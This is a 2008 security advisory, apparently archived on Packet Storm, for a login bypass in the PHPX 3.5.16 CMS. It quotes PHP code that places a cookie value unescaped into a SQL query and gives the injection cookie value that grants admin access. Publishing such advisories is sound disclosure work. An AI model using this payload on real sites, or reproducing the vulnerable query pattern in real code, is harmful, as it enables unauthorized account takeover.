accept no compromises

phpx-cookie.txt

phpx-cookie.txt
Posted Jul 31, 2008
Authored by Gnix | Site gnix.netsons.org

PHPX version 3.5.16 suffers from a cookie poisoning and login bypass vulnerability.

tags | exploit, bypass
MD5 | 9274ec1502f7a3ae16086a8bd2a2856d

phpx-cookie.txt

Change Mirror Download
=======================================================================

= gnix =

gnixmail at gmail dot com
http://gnix.netsons.org


Application: phpx
http://www.phpx.org/project.php (stable version)
Versions: 3.5.16
Platforms: All
Bug: Cookie poisoning / Login bypass
Date: 31 July 2008



=======================================================================

1. Intro
2. Cookie poisoning and login bypass



=======================================================================

1. Intro
========

PHPX is a web portal system, blog,Content Management System (CMS), forums,
and more. All files are currently hosted at http://www.phpx.org/project.php



=======================================================================

2. Cookie poisoning and login bypass
====================================

Every file in phpx-3.5.16/ directory have two lines of code: one for
include includes/functions.inc.php, and another to create a website object.
website's constructor will call checkCookie.


Source code (includes/functions.inc.php)
---------------------------------------------------------------------
class website {
...

function website(){
...

$this->checkCookie();
---------------------------------------------------------------------


The function checkCookie set the user_id if PXL cookie is set and the
query return an user_id, and an username.


Vulnerable code (includes/functions.inc.php lines 75 to 89)
---------------------------------------------------------------------
function checkCookie(){

if ($_COOKIE[PXL]){
list($user_id, $username) = $this->core->db->fetch("select user_id, username from users where sess = '$_COOKIE[PXL]'");
if (!$user_id){
setcookie("PXL", '', time() - 60, '', '', $this->core->secure);
$head = "Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
header($head);
}
else {
if (strtolower($username) == "xnuiem"){ $this->debug = 1; }
$this->user_id = $user_id;
}
}
}
---------------------------------------------------------------------


This user_id is then used in the website constructor for set the user_id
of the core class.


Source code (includes/functions.inc.php line 32)
---------------------------------------------------------------------
$this->core->user_id = $this->user_id;
---------------------------------------------------------------------


Now if you want to get the admin privileges and by pass the login, you
have to create a cookie like this below:


---------------------------------------------------------------------
PXL=a' OR username='admin
---------------------------------------------------------------------


To do that you can use 'Modify Headers'.



=======================================================================

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    28 Files
  • 26
    Jul 26th
    2 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close